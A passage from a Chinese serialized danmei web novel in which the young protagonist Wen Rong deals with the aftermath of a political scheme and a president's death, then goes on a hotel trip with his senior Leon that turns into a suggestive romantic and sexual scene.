想要王斯辰认为自己不是来找他的,就要先选择一个特殊的对象,这个对象必须跟周总统有关联,但又是一个怕惹火上身肯定会拒绝自己的人。 理由就是……周总统昨天答应自己接济福利院。 做坏事的时候最需要平常心。 温绒觉得无论是等在停车场的行为还是关于福利院的目的,都完全符合自己平时的做事逻辑。 当然,这个计划并不是全靠他自己完成。他时常看新闻,知道联邦位高权重的领导们长什么样,但不了解每个人私底下是什么人,要确定这个对象…… 周谢用黒鸽回复他:[刘兆海] 需要周谢帮他选。 遇见刘兆海的同时也遇见王斯辰。 周谢:[□□今天下午要召开会议,所有人都会到场。] 时间也是周谢选。 计划顺利,刘兆海拒绝了他,路过的王斯辰驻足。 最好的猎手往往以猎物的形象出现,温绒秉承着这个原则,把自己装扮成怀疑、惧怕王斯辰的形象,并不跟王斯辰说话,甚至在王斯辰看过来的时候,转头想走。 只是温绒还做不到算无遗策,王斯辰似乎不打算叫住他。 正在这个时候,“滴——”的一道喇叭声响起,像极了廊桥上的爆炸。 温绒顺势抱住耳朵蹲下,露出昨天在休息室时的恐惧模样,被太阳灼烧过的眼睛有了用武之地,红到发紫,隔着水望着四周。 直到一只手将要落在头上。 温绒知道那是王斯辰的手,假装胆怯躲开,不让他碰到。 ——绝对不能让他碰到。 “你找刘兆海做什么?”王斯辰挂着优雅的笑容,目光深沉。 “您、您好,我只是找刘先生询问一些政策。是不是打扰到您了,我现在就走。” “你很怕我?” 温绒微微抬眼,看到王斯辰的鼻子就停住,迟钝摇头,“没……” “那些政策,你问我也是一样的,我可以帮你解答。”王斯辰靠近,温热的吐息经过太阳暴晒,变得更加滚烫,“其他的忙,我也可以帮。” 温绒唇角颤动,还是摇头。 “那你走吧。”王斯辰说。 “谢谢您。”他顺势就跑。 一 二 三 温绒在心里数着数。 急促的脚步声在身后响起,王斯辰身边的秘书拉住他,“王议员十分钟后要开会,开完会有充足的时间可以听你说你的诉求。” 温绒不知道这个程度可不可以,迟疑片刻,继续摇头婉拒。 “你知道王议员是最有可能接替周总统的人吗?只要他开口,无论什么困难都可以帮你解决。” 对方开始诱导,说明疑虑打消大半,温绒装作很犹豫地说:“那……我在这里等他。” 秘书眼睛一亮,“天气这么热,你可以到旁边酒店等。王议员在那边有专属套房。” 温绒不确定这个问句是否是试探,但平常的自己绝对会拒绝,所以装作慌张摇头,“不用不用,我不去酒店。” “我们领导不是那个意思……” 秘书身后,王斯辰安静等待。 距离不远,刚才的对话他能听见。 虚假的笑容里,目光炯炯,并不掩饰欲望。 两秒后,王斯辰伸手拨开秘书,“晚上有一个聚会,你可以来找我。” “我可以让时野陪我一起去吗?” 王斯辰沉默片刻,笑道,“我们单独说话的时候,他不可以在。” “……那算了,我再问问。” “不是所有人都会帮你的,只有我们领导会帮你。” 温绒察觉到秘书的着急。 他悄悄看一眼王斯辰,迅速看向地面,“周总统临终前有话让我带给刘部长的,我在这里再等等,等会儿他听完应该会帮我。” 周总统的临终遗言是温绒的筹码。 周谢在手术室门口说的,现在每个人都想知道周总统临终前说了什么,而每个人也都想让他嘴里说出他们想要的话。 每个人,应该包括王斯辰。 “可以叫上时野。”王斯辰的眼神果然稍有变化。 “真的?” “嗯。”点完头,王斯辰唇角牵出一抹意味深长,“你跟时野关系不一般。” “他是我男朋友。” 认下这个关系,给予王斯辰自己喜欢男人的信号。 接下来就是刺激林竞航了。 林竞航并不敬畏生命,但肯定不会杀王斯辰。 温绒想,只要是人就会被欺骗,就会误判,所以计划很简单,让林竞航把王斯辰误会成要杀的人就好了。 晚上时野会跟他一起去,要么杀时野,要么杀自己。 温绒让时野预设林竞航是凶手去刺激林竞航,但花盆落下的时候,他猜,杀的是自己。 林竞航真的很想当弗罗里曼学院的学生会会长。 或许那天在火车上说的话有些偏差,找人不是他的初心,他的初心是脚踩F4,当上弗罗里曼学院最有权力的人。 林竞航,一个并不了解自己的人。 审讯室内,温绒活动脖子。 计划完美结束,本该高兴的,但周总统的死还笼罩在心头。 两位调查人员又详细地问了些问题,他一一回答,大概在身体开始犯困的时候,约莫晚上十一点,调查人员表示,他可以出去了。 温绒站起来瞬间脑中晕眩,扶着桌子缓了两秒,视野从黑转为明晰。 门前出现一道身影。 他有些意外,来的人竟然是王斯辰的秘书。 还以为是时野或者周谢呢。 温绒想了想,自己因为王斯辰的缘故进来,要是周谢跟时野堂而皇之来接自己,或许更会引起别人的猜测。 “你跟调查局的人说了什么?” 走出大门,王斯辰的秘书迫不及待问他。 “实话实说,王议员邀请我去酒店被我拒绝,最后让我去参加他的庆功宴。” 王斯辰秘书心想你怎么可以毁我领导的形象,但是看着温绒的样子,又想实话实说也不奇怪,毕竟是个18岁的男生,并不会跟调查局的人打交道。 “没有其他的了?”秘书追问。 “没了。” 两人走到调查局正大门,远离了灯光,影子慢慢融合成黑夜的一部分。 “我跟周谢达成了协议,把你从调查局救出来,你要告诉我周总统的遗言。” 温绒想了想,“是你跟他达成的协议,你应该问他。” “只有你说出来的我才信。” “其实我说出来的你应该不信。” 秘书好奇,“是什么奇怪的内容吗?” “让我多吃点周谢做的饭,夸夸周谢。”温绒耸耸肩,“死之前,比起总统,他更想当父亲。” “但你说他有话让你带给刘兆海。” 温绒把自己留下的漏洞补上,“让我找刘兆海,是因为周总统答应帮我找父母,但他不负责这一块,让我去找刘兆海处理。” 秘书歪头沉思几秒,远处闪起一道车灯,吸引两人的注意力。 温绒看见熟悉的车轮廓。 “接你的。我想我们领导醒来应该会很想见你,希望你到时候能赏个面子。” “我的荣幸。” 温绒走进那辆熟悉的保姆车,没有立马坐上去,站在门前,看着里面露出时野的脸才放下心。 保姆车徐徐缓缓地从调查局离开,橙色的车灯在路上留下一道短暂的残影。 晚上周谢传来消息,王斯辰还在icu,能不能活还要看情况,索性莱昂的飞回手续办妥了,明天将开始启动。 所有事情好转的迹象,但因为周总统的丧事,三人没什么庆祝计划成功的兴致。 温绒回学校,周谢准备丧事,时野没说他去做什么,不过温绒想,他应该有自己的安排- 一个星期后,温绒在新闻上看到王斯辰暂时脱离危险期,虽然还在昏迷状态,但有极大概率苏醒。 时野传给温绒好消息,那天晚上他让他预设林竞航是凶手,顺着这个思路往下查真的查到了东西。 由于林竞航手里有联邦仪器无法查出的武器,军方暂时把林竞航控制了起来。 周总统举行丧礼那天,冬天到了尾声,天阴沉沉的,学院的钟声响起,为数不多的几只鸽子像在铝合金锅里游,温绒仰脖子望了很久。 在食堂吃晚饭时,他想到周总统说的话,给周谢发了消息。 [有机会的话,尝尝你做的饭。] 周谢:[嗯。] 手机归入沉寂,100室内静悄悄的,甚至能听见呼吸声。 休假前100室就如此安静了,学长们都在为事业努力。 只是现在再遇到这样的境况,心隐隐烦闷着。 温绒好像又回到了小时候,一个人,必须要找点事情做才能消耗漫长寂寞的时间。 可是拿起笔,好像对数学公式并没有兴趣,脑子会不自觉想起机场的爆炸以及周总统最后的声音。 是不是真的该回福利院看看了。 这次刚请完假不能再请,否则赶不上学业。 所以目前任务是好好学习。 一连串连锁推理让温绒终于有一些干劲,重新拿起笔准备好好学习,可惜肚子不合时宜地响起来。 饿了,该去吃饭。 温绒无法找到自己抗拒学习的原因,拖着沉重的身体走出100室,眼前一片昏黑。 天气还是不怎么好,像是要下雨。 或许吃完饭可以直接回宿舍好好睡一觉。 从100室到食堂并不远,温绒一路走着,风刮着脸有些疼,进入食堂时,热风跟讨论声扑面而来。 热热闹闹的场合,变成了吵耳朵的烦人地带。 想拿个包子回宿舍吃,他蹙着眉想。 “你看现在周总统死了,周谢还能狂吗?他都不敢来学校。” 一道清晰的声音混在“嗡嗡嗡”中,温绒偏头望去。 两米外站着两个男生,都很陌生,之前没接触过。 讨论起这些“国家大事”,两个男生都露出兴奋的模样。 那一个说完,另一个男生着急回:“我听说周总统死的那天他到处求人。” “他现在连学生会会长都不能做了吧,王斯辰议员上位,绝对不可能让他当学生会会长的。” “王斯辰议员不是还在昏迷吗?” “我听说他人早就醒了,现在政府没有总统,就等着其他人求他入职。” “王斯辰当总统也好啊,我喜欢他分离贫民区和普通区的政策。” “我也喜欢,这样以后就不用闻到贫民的臭味了。” “我现在一想到他要继任总统就兴奋得睡不着觉。” 其实温绒一直都不怎么喜欢学校里这些人,但在这一刻,厌恶的感觉达到顶峰。 正想说点什么反驳这两人,一个声音在身后传来。 “正常人不会半夜想一个中年男人想到睡不着觉。” “贫民也很嫌你癖好特殊。” 声音落下,一只手搭在温绒肩膀上,“走,学长带你去干净的地方吃饭。” 第99章 第 99 章 学长对你的手段完全没有…… 天还是阴沉沉的。 温绒的视野里闪着一抹金光, 像太阳。 阳光照到的手心也是暖烘烘的,驱散压在身上的沉沉冷气。 温绒后知后觉,学长拉着他的手在校园里走。 周围路过的学生偷来诧异的目光, 可他不想甩开,五指蜷缩,紧紧抓住那点温暖。 真好,学长回来了。 学长终于回来了。 明明不是永别,可温绒就是深切感受到“失而复得”。 两道身影穿过食堂门口只剩枯枝的杨树大道,枯叶踩在皮鞋底下,琴声一样脆响。 温绒按捺住激动的心情询问:“学长, 我们去哪。” “周总统是学长的长辈,他去世了学长很难过。” 响声停,莱昂学长停下脚步。 金色的碎发在风中飘着, 他笑着问:“接下来几天,你能陪在学长身边吗?” “……” “……” “……” 温绒知道,难过的不是学长, 是自己,需要陪的也不是学长, 而是自己。 自己走不出周总统的死亡,100室又安静得吓人,所以学长才这么说。 “学长……”温绒鼻尖微酸。 “好不好?” “好……”- 接下来的几天,温绒上完课后的活动从100室转到了跟学长去图书馆。 两人坐在他常坐的窗户下, 没有人主动打扰。 学长查资料的时候,他就在旁边学习,手边垒起半人高的书。 之前在100室的症状意外消失了,温绒提起笔能够专心地写字,还能把难懂的内容看进脑子。 无知无觉间, 许秋老师定的计划完成90%。 生活逐渐回到正轨。 周总统去世后半个月,新闻上很少再有他的消息,随着新的总统大选举行,网络上恢复一片祥和。 温绒在逐渐变好的状态中隐隐意识到,死亡意味着被遗忘。 或许自己不是走出来,而是慢慢遗忘了,甚至想要记起周总统出事那天的所有细节,都有些力不从心。 他迅速从床上跳起来,在本子上写下那天发生的所有事。 想走出来,也不想忘记。 最后落笔,一个念头油然而生,“哥哥。” 【嗯?】 “我记得你说过,主系统会对我上辈子的记忆做模糊处理。” 【嗯。】 “但不是一下子,是隔了一段时间才开始做。而且很多事都模糊地记得,就是不记得那个人。” 【嗯。】 “是因为上辈子那些人都去世了吗?” 【……】 系统的沉默让温绒得到答案。 “死了就被忘记,会不会太残忍了。” 【宿主,除了历史名人,普通人存在过的痕迹都会在三代以内被抹去。】 “死亡=被遗忘” 温绒在最后一排写下这句话。 笔尖在末尾停留几秒,他突然岔开话题:“哥哥,你觉得我适合学数学吗?” 【宿主,我们回到最初的问题,你想做什么?】 “以前想找工作,赚钱,买房子。” 【宿主现在的知名度和人脉,不需要烦恼找不到工作。你甚至已经靠自己赚到50万了,再多参加点节目,很快就能买房子。】 “后来想……” 【嗯?】 “后来想变成跟学长、时野一样优秀的人。” 【宿主已经做到了。】 “现在……” 温绒在新的一排写下文字: 不想被遗忘 所以要在历史上留下名字- 温绒第二天跟新闻社的三位学长见了面,讲明自己打算接受周谢的邀请去学生会。 三位学长没什么意见,或许新闻社的解散是大家心照不宣的事。 心里最后一颗大石头终于落下。 虽然舍不得100室的生活,但学长们都往好的方向去,他感到欣慰。 又一周时间匆匆过去,周四晚上,他照例跟学长在图书馆自习。 手机响起一声“滋”,还以为是谁发来的消息,温绒起先没在意,停下喝水时才发现竟然是50万到账。 交了税后依然很多! 他眼睛骤亮,要不是碍于图书馆要保持安静,差点跳起来尖叫。 “学长。”他用气音喊莱昂学长。 “嗯?” “我做采访的工资到账了!我请你吃饭。” “这么快?”莱昂歪一下脑袋,“请学长一个人还是把新闻社的三个都叫上?还有时野?” 温绒一愣,学长在身边,他下意识就只想到莱昂学长,竟然忘了新闻社的三位学长,还有时野。 顿时有点对不起他们,不好意思道,“我问问他们。” 莱昂探身越过桌面,伸手挡住手机屏幕,“就单独请学长吧,大家一起叫聚餐,学长想要约会。” 约会么。 温绒的瞳孔沿着下眼睑轻轻一转,再仰头时,那点迅速窜过的心思彻底藏好,“要给学长准备豪车鲜花和烛光晚餐吗?我还没驾照,要不——” “别。”莱昂学长无奈闭了下眼睛,嘴角拉开,好像被他的话逗笑了。 “去游乐园吧,2区有一个很大的主题公园,三天够来回。” “行。” 得到“指令”,温绒打开蓝书就开始搜攻略。 他速度快,一边看一边记,各个软件看一遍,不到十分钟,粗算两人的车票,酒店,游乐园门票以及饭钱加起来竟然才不到2千。 才…… 温绒自己都有些惊讶。 我现在竟然觉得2千块不算很多钱了。 高中的时候,两千块差不多够三个月生活。 转念一想,在研究中心安排烟花表演都不止两千块,自己卡里有富裕,可以给学长花钱。 温绒放下笔,郑重道,“学长,既然说好是约会,那我来安排行程和花费,明早咱们出发。” “行。”莱昂笑盈盈点头。 停了片刻,又说:“对了,不用买车票,我开车。” “开车吗?” 温绒搜索地图,看到系统显示开车过去四个小时,来回是八个小时,担忧问:“开八个小时会不会很累?” “没关系,去这种不远的地方旅游开车比较方便,而且你现在不适合坐公共交通。” 是了,我是个公众人物,学长是个上新闻的大人物,并不适用普通人的游玩攻略。 温绒把预算向上提一提,决定晚上回去好好做一个安全舒服的旅游计划- 翌日清晨,两人开车从学校出发。 四个小时里温绒充当合格的陪聊、监督、导游,十一点时,两人安全抵达2区。 天气没有1区那么好,不过胜在云层不厚,没有温度的阳光给车顶镀上色,连带着心情逐渐美妙。 作为帝国的旧都,城市建筑维持着几百年前的风格,四处都是色彩艳丽的小楼,四五层高,每个窗户带着小阳台,围栏间露出几缕绿色的植物。 “学长,跟着导航走,我定了这家酒店。” “好。” 莱昂以为温绒会定普通的商业酒店,听到AI播报“东马岛酒店”的时感到意外。 这家酒店在全联邦都排得上号,有着比联邦还要久远的悠长历史,据传在帝国存在时,东马岛是君主送给情妇的礼物,岛上唯一建有一座庄园,不仅沿路种满各色玫瑰,从天空俯瞰,还会发现整个酒店的布景就像一朵盛开的玫瑰花。 妈妈的茶话会曾在这个浪漫地方举行,莱昂也在这里换掉了第一颗牙。 这些都是题外话,更重要的是,万元一晚的价格对他来说不算贵,但对温绒来说绝对是不小的开支。 温绒怎么会定这样的酒店? 车到门口,两个酒店人员过来,一个帮他把车开去停车场,一个从后备箱取出行李放在推车上。 偏头看见温绒期待地望着自己,莱昂好像知道了原因。 他假装第一次来,赞赏温绒的安排:“酒店看起来很不错。” 浅浅的眸子一下子亮起来。 莱昂笑意更深,觉得温绒真是个诚挚的小孩,花了一笔大钱,只是单纯地希望自己满意。 只是这个笑很快被前台工作人员的声音打断。 “307入住两位,麻烦给我一下您的身份证。” 等等—— 一间? 温绒怎么没有提前告诉他。 “学长,你的身份证。” 莱昂并没有嫌弃温绒只订了一间房,温绒自费安排这家酒店已经让他受宠若惊,他只是没想到这两天温绒都要跟自己睡在同一间房里。 “学长?” 莱昂如梦初醒,把身份证拿出来递给工作人员。 身份证在机器上“滴”一声,“您好,查询到您是黑卡用户,可以直接升级至套房——” “不用。”莱昂打断工作人员。 工作人员微微诧异,停滞了两秒,低头继续办理手续。 手续办好,推行里的工作人员带两人上楼。 四面都是镜子的电梯厅折射出莱昂视线飘在地上,六神无主。 这不像他。 他在努力让自己镇定。 订一间房很正常,两人都是男生,出游时住同一间房并没有什么。 在温绒入学前他就查到过,福利院的孩子都睡大通铺,用大澡堂,温绒肯定习惯了跟同性住在一起。 更重要的是,温绒的性格很直男。 他根本不会想到,跟喜欢他的人睡在一起一间房里会发生什么。 随着电梯到三楼,发出“叮”地一声,莱昂的智能手表开始震动。 是提醒他心率过高。 他按下手表的动静,强壮镇定。 “学长,我们休息半小时,给手机充充电,等会儿到酒店楼下吃自助。” “我定的是套餐,房费里还包括早中晚餐。” “网上说他家自助特别好吃,有学校里没有的现场烤肉。” “嗯。”莱昂迟钝地应着。 啪嗒—— 开门声响,两张并排的大床印在湛蓝的眼底,瞳孔紧缩。 秉持着“玫瑰庄园”的美称,东马岛酒店处处都留着玫瑰的元素,就连床单上,都洒满玫瑰花瓣。 明明是酒店特色,偏偏给人蓄谋已久的错觉,勾着思绪纷飞。 好像他们是一对小情侣,温绒已经躺在那张床上,毫无防备地呼吸。 片刻后,莱昂无奈扯了扯嘴角。 他终于反应过来,奇异的反应并不是紧张。 心脏在意识到会跟温绒睡在一起时,发出了兴奋的叫嚣。 “学长,要不要睡十分钟?” “不用。”莱昂看着行李被工作人员搬到地毯上,视线跟着挪到门边,“直接去吃饭吧,学长饿了。” “那我上个厕所。” “嗯。” 莱昂点头,听到关门声时,手表再次开始震动。 如果共用一个卫生间,那晚上温绒洗澡出来,里面会留下很多很多味道。 可能是洗发水的味道,可能是沐浴露的味道,或许是牙膏。 但那些都是因为温绒才有的。 “温绒。”莱昂拔高声音。 “什么事?学长。” “我突然有些困,我们叫酒店把吃的送上来吧,吃完睡个觉再出门。” “好的学长。” 顿了下,“学长——明天才去游乐园,如果你太累了可以一下午都在酒店休息。” 莱昂走到落地窗边,伸手合拢遮光性极好的窗帘。 房间里暗下来,只有床下亮着暖色的踢脚灯,像香水一样,若有若无地弥漫。 他又从行李箱里翻出睡衣丢在床上,伸手解开外套拉链。 滋啦—— 咔擦—— 两道声音一起响起。 只是拉链声是绵长的,开门声短暂,紧接着靠近的脚步声。 “学长怎么把窗帘拉上——哦,你在换衣服,想吃什么?我来点。” “嗯……”莱昂故作思考,别有用心地把声音拉长,跟解衬衫扣子一样速度缓慢。 温绒果然看他。 手机屏幕把眼镜片照亮,挡住了漂亮脸蛋。 啪—— 莱昂摁下床头的开关。 墙上暖色调的几盏氛围灯从侧面稀稀拉拉投射,温绒的脸重回清晰。 眉目清澈,不夹杂念。 莱昂挂着大开的衬衫,假装思考。 空气静默,温绒的眼神仍然一动不动。 “温绒……” “学长,没想到你竟然有肌肉。” 两道声音一齐响起。 莱昂:“……” “好羡慕你。时野没来学校,我都忘记去网球社打球了,到现在都还没能炼出形状。” “……” 莱昂不知道该给温绒分享“如何练出肌肉”还是该让他明白自己的行为叫做色,诱。 面对单纯崇拜肌肉的小男生,莱昂有种“犯罪”的错觉。 “虽然我没有胸肌,但我以前经常跑,腿上也有点肌肉,我给你看。” “……” 莱昂想做的事情很多,但绝对没有一项包含直男之间比拼肌肉。 温绒一屁股坐在对床,弯腰提裤脚,露出一截细长细长的小腿。 他的肌肉长得听话至极,几乎跟膝盖在同一条垂直线上,如果站起来的话,会是漂亮又兼具力量、笔直的腿。 “好像比以前更紧实了。” 温绒脱掉鞋,抬起一条腿折在床上,仔细欣赏突然增多的肌肉。 但这样坐在床边,一只脚撑地,另一只脚叠在床边,是一个非常适合被抬起双腿行/交的动作。 莱昂的手表再次震动。 脑细胞从头顶跳下,落在小腹。 “温绒。”他屏住呼吸,低头迅速换衣服。 “欸?学长。” 莱昂转身走进卫生间,“我吃什么都可以,你随便点。洗个澡出来应该就能送到了吧?” “嗯嗯,我请他们快点。” 接下来还要开车,莱昂没有洗冷水澡,简单用温水淋过头顶,在闭气中,让思绪和身体都彻底沉浸。 温绒是个直男。 在温绒没有任何邪念的时候他不能做出格的事。 那样会让温绒产生自我怀疑,或许是“我是不是有问题”,或许是“我是不是没注意分寸”。 莱昂一点都不想给温绒带去负面影响。 吃过午饭,下午两人到2区的知名景点逛了逛。 幸好是冬天,行人也戴着帽子跟口罩,没人注意到他跟温绒的特别。 只有喝路边热茶时老板认出了温绒,怀着激动的心情想跟温绒合照。 由于老板死活不要温绒付钱,温绒出于礼尚往来的念头,跟老板合影一张。 晚饭温绒安排了2区一家百年老店的特色菜,门口全是排队的人,叫桌叫到200以后,莱昂本来想说换一家,没想到温绒直接带他进了包厢。 一个下午,温绒的出游计划全部完成,每一个要去的地方,要体验的店都顺利打卡。 莱昂意外感受到温绒安排的周到。 虽然以前温绒也不是掉链子人,但他就是隐隐觉得,温绒有一些成长- 夜幕降临,东马岛亮起全部装饰灯,成为2区的标志性景色。 有些钱的富豪买下无人机表演,在游客注视下进行一场浪漫的求婚。 温绒在洗澡,错过了这场热闹。 莱昂坐在沙发边,无聊刷着研究中心群里的消息。 内容无非是一些工作交接、吵架、互相阴阳,没什么意思。 倒是一个朋友圈的八卦很有意思。 托关系进研究中心的研n代说:时野过几天就要宣布订婚消息。 截图,马赛克,转发进四人的群里。 莱昂:[听说你要订婚?@时野] 周谢:[恭喜。] 李奥:[恭喜/嘻嘻] 时野:[谁说的?我怎么不知道我要订婚?] 莱昂:[有苗头才有传闻,你要订婚记得跟温绒保持距离。] 时野:[艹!这才是你真正的目的。] 周谢:[我赞同莱昂。] 李奥:[我赞同我表哥赞同的莱昂。] 时野没再回复,莱昂以为时野正气得拿拳头哐哐砸墙,耳朵一抖,听见震动的声音。 不是他的手机,是温绒洗澡没带手机进去。 好巧不巧,就放在沙发边的桌子上,来电显示——时野。 莱昂不会私自挂断别人电话,只是他也确实不想温绒在跟自己共处一室的时候接到时野的电话。 所以,时野你自己挂断吧。 是祈祷。 不过依照莱昂对时野的了解,这通没接,很快就会有下一通。 一个见不得光的念头在脑海中闪过,莱昂望向“时野”两个字,勾了勾唇角。 把事情闹大的劣根存在着。 这辈子都改不掉了。 他抓起手机,走到卫生间门口。 水声哗啦啦,坐在沙发边没听见,以为是隔音好,没想到隔音效果并没有想象中那么好,如果靠近,还是能听见。 清晰的声音甚至能让他想象到水坠落在冰凉的地板上,弹起来,飞溅至雪白的皮肤。 脚后跟凸出一截骨头,两边凹进去,手感跟水瓶子完全不一样,是崎岖的,凹凸不平的,凉,会动。 莱昂捏了捏拳头,有种空虚感。 呼—— 他吐出口气,用脑门抵在门上,“温绒,时野给你打了电话。” 水声骤停。 “稍等,我穿条裤子。” 几秒钟后,温绒从里面开门。 酒店的沐浴露是玫瑰味,卫生间里凝结的每一滴水,都带着这个味道。 如回答的那样,他只穿了条灰色的运动裤,沾着水点,灰色上有明显的黑色印记。 看起来是匆匆忙忙穿的裤子,腰上的抽绳一边掉在两腿之间,一边压在裤子里。 “时野的电话。”莱昂没把视线向上抬,只是握着手机往温绒的方向递了递。 “谢谢。” 运动裤扭了半圈,侧对着莱昂,“喂?时野。” 腰很薄,背也薄,脊柱的位置凹进去一条沟。 皮肤甚至比小腿上更白,像只有水踏足过的禁区,烹得透粉。 莱昂垂下眼皮,双手背到身后,互相牵制着手腕。 手机传来声音:“你没在学校吗?我回来没见到你。” “嗯,我跟学长周末出来玩。” 是约会。 莱昂很幼稚地在心里补充。 “你们在哪儿,我也要玩。” 温绒没有立即回答时野,举着手机回过头来看他,眼神明显在问:“要让他来吗?” 莱昂感受到温绒过于坦荡的心态。 正因为太坦荡,心情有些糟糕。 只有温绒跟他两个人的时候他才可以忍耐,但中间加入时野,他会忍不住想要一些偏爱。 或许是——争抢。 为什么不直接拒绝? 莱昂放弃自控,带着怨气伸出手指,缓慢勾住那根压在裤子里的抽绳。 “学长?”温绒用气音喊他。 莱昂不想回应,所有的注意力都集中在手指,一点,一点,缓慢地把抽绳从裤子里勾出来。 抽绳很粗,尾端打了个结,在裤子里留下一道凸出的轨迹,从两腿之间,到小腹,挤开腰带,“砰”一下飞出。 细腻的腹肉上下起伏,莱昂听到温绒惊讶的喘息。 他继续缠着抽绳,一圈一圈地搅,“我们只有一间房,他来了睡哪里?” 空气静了。 电话那头也静了。 抽绳在腰上滑,另一边的结到底时,温绒被带着向他的身前靠。 莱昂低头抵上湿润的眉心,用鼻尖磨着细挺的鼻,模仿着喝醉的那个晚上,两人靠在床边亲密厮磨。 “学长?” 轻柔的气音带着热量扑进莱昂唇间。 莱昂重重吸一口气,哑声问:“难道我们睡一张床,时野睡隔壁?” 带着暗示的话立马激起电话那头的反应,“我自己订房间,订套房,你们在哪,我现在就开车过来。” 时野很着急。 莱昂用一种胜者的悠闲姿态轻笑,“路程远,还是晚上,开车不安全。” 时野:“我找两个司机换着开,四个小时……我坐飞机过去。” 莱昂贴着温绒的脸颊,凑近没有手机的那边耳朵,“温绒,我们在约会。” 别让他来。 人陷入的爱情就会自卑。 他越来越没有信心,不确定温绒会不会真的顺着自己的话说。 毕竟周总统发生这些事的时候,是时野陪在温绒身边。 莱昂一直都记得温绒需要的是陪伴,时野给予了温绒这个东西。 至少,我在你身边的时候,偏爱我吧。 莱昂把头靠在温绒的颈窝,无声地祈求。 “时野——” 温绒终于开口。 莱昂动了动脸的方向,从依靠变成深埋,唇落在翘起的锁骨上。 希望这样的细微讨好的动作,能得到“偏爱”。 “你请假时间比我还长,趁着周末把功课补起来吧。” 说完干脆利落地挂断电话,把手机关机,放到洗手池上。 “学长,我知道你不想时野来。” 莱昂心花怒放,在散着热气的皮肤上笑出了声,“忘记你已经不是小笨蛋了。” “你不在的这段时间,我跟时野接过吻。” “……” 莱昂停顿了下才回,“是么。” “你不生气吗?” “……我不介意。” 莱昂甚至知道温绒为什么不拒绝时野。 因为温绒急切想跟这个世界建立联系,福利院的成长经历让他的灵魂残缺,需要更多的爱去填补。 温绒说这件事,大概是等他指责。 但做不到时刻陪在温绒身边的是他自己,他怎么指责? 温绒明明可以选择抛弃他。 莱昂站直,想要告诉温绒他没错。 ——意外看见不一样的温绒。 面色沉静,即使光着膀子,也从容站立,浅浅的眸子回望。 说不上动情,也没有动情,甚至没有看烟花那天蓦然出现的羞赧。 好像说起“跟时野接过吻”这件事,跟是商量工作一样正式。 在这样坦荡镇定的目光中,莱昂恍然意识到,温绒虽然一直都在成长,但经过周总统这件事,他非常迅速地,成熟了。 他已经有足够的能力处理王斯辰,能制定让人满意的旅游安排,甚至从订酒店房间到探讨肌肉,不是因为他“直男”,而是他做好会发生什么的准备。 再回忆起来,从出发到现在,温绒的一举一动都像一朵花,开到最艳的时刻,也是最漂亮的时刻,散发出浓烈的香——我知道你忍不住,来采我吧。 真正不识趣的好像是他自己。 “温绒,你记得我们在约会吗?” 莱昂不确认自己的结论,试探温绒。 温绒点头:“嗯,学长说过想要约会。” “你知道约会是什么意思吗?” “知道。” 所以温绒什么都清楚。 他真的不再是小笨蛋。 莱昂忍不住解开袖口,把智能手表展示出来,“看看学长的智能手表。” “像手机一样。”温绒评价。 “它还有很多功能。” 没调到心跳界面,手表先用力一震,首页弹出135这个数字,下方有一条心电图一样的线。 “学长,这是什么意思?” “提示心率过快。” “因为跟你在一起,所以这个数字很高。” 莱昂余光瞥见雪白皮肤上粉红的两点,手表又是一震,135的数字直往上窜,接近150。 “它一直在震呐。” “嗯。” “为了学长的健康,我是不是要离学长远一点?” 沉静的脸上终于起了变化,唇角微弯,眼底露出明晃晃的狡黠。 像一只狐狸,眼睛滴溜滴溜盘算着猎物。 莱昂意外爱死了他这副机灵模样,自愿当一个色令智昏的蠢货。 “不要远离学长。” “那要怎么做?” “跟学长约会的时候,更偏爱学长一点。” 莱昂低下身,从下至上抬起脸,压着温绒的胸口想要接吻。 一只手蓦然抵在脸上,手心是热的,湿的,紧贴着唇瓣。 并没有因为拒绝而失望,因为透过指尖缝隙,莱昂看见温绒勾走鼻梁上的眼镜。 这样的动作,反而像是邀请。 哒地一声,眼镜跟手机靠在一块儿,温绒兀地笑了笑,“学长给我发的视频里,有个金色头发的男人。” “你喜欢吗?” “不喜欢。” 原来他不喜欢吗? 莱昂没想到自己精心挑选的视频,竟然不招温绒喜欢。 “因为跟学长太像,看的时候总是让我忍不住想,学长做/爱会是什么样子。” 莱昂吸温绒的手掌心,浓稠的空气从唇间灌入喉咙,嗓子几乎要黏在一块。 “想象到了吗?” 声音带着很重的鼻音,毫不掩饰欲、望。 “学长你心跳好快。” 温绒狡猾地岔开话题,莱昂都忍不住想,是不是教得太过,让温绒都有点坏了。 “你的手表……” 挡住脸的手顺着他的肩膀滑到手腕,智能手表完全被包裹住。 “你的手表震得我掌心都麻了。” 温绒慢悠悠地说着,慢悠悠地抬眼,勾着人。 莱昂黏住的喉咙开始发干,“嗯。” “学长做/爱的时候也会这么紧张吗?” “会。” “那我能一直握着这里吗?” “想握多久?” “明天几点出发去主题乐园?” 又一次岔开话题。 莱昂被温绒肆无忌惮地煎着,凝结水珠的镜子上,印出他红透的脸,忍耐得几乎要爆炸。 他不由自主逼近,伸腿错进温绒双腿之间,扶住那没人踏足过的后腰,“想晚点出发。” “学长现在的样子,跟我想象中不太一样。” “嗯,因为学长比想象中更痴迷你。” “学长也喜欢我的脸吗?” “平时学长会被你勾成这副丑样吗?” 莱昂强硬掰过温绒的下巴,吻上垂涎已久的唇,“学长对你的手段完全没有抵抗力。” 第100章 第 100 章 被小狐狸精迷得神魂颠…… 只是温柔地啄一下。 小孩子才执着于唇与唇的触碰。他爱温绒, 想跟温绒做更多事,深研彼此,建立不能被外人知道的秘密。 “温绒。”莱昂贴着温绒的脸颊问:“接吻会让你舒服吗?” “学长舒服吗?”温绒反问。 “会有满足的感觉。” “但这种感觉不是我说的舒服, 是刺激。其实一个人感到舒服,往往来自隐秘的感官。” “学长的隐秘感官在哪?” “自己触碰跟别人触碰是不一样的,学长也不知道哪里会让自己舒服,没人帮学长找过。” “要帮学长找吗?” “不如让学长先帮你找?” 莱昂松开温绒的脸,指尖敲键盘似的点在颈椎上。 后背翘起两块骨头,律动。 他明知故问:“摸这里,后背会不会发麻?起鸡皮疙瘩, 忍不住深吸一口气。” “……会。” “那把这口气吐出来。” 吐出的气息吹到耳边,莱昂指尖停滞半瞬,闭了下眼睛, 才说:“很乖,现在有没感觉到舒服?” “……” “不舒服吗?” “……舒服。” “听见了自己的心跳声。” “要不要再试试其他地方?” 莱昂吞咽唾液,视线下滑。 像一个征战沙场的将军:踏足那片禁区!抚摸禁区里的每一块土地!留下旗帜! 砰砰砰, 心脏吹响胜利的号角,唾液因为喜悦而分泌旺盛。 突然, 胜利之地未到达,衬衫扣子先被解开,指甲斜斜刮着肉。 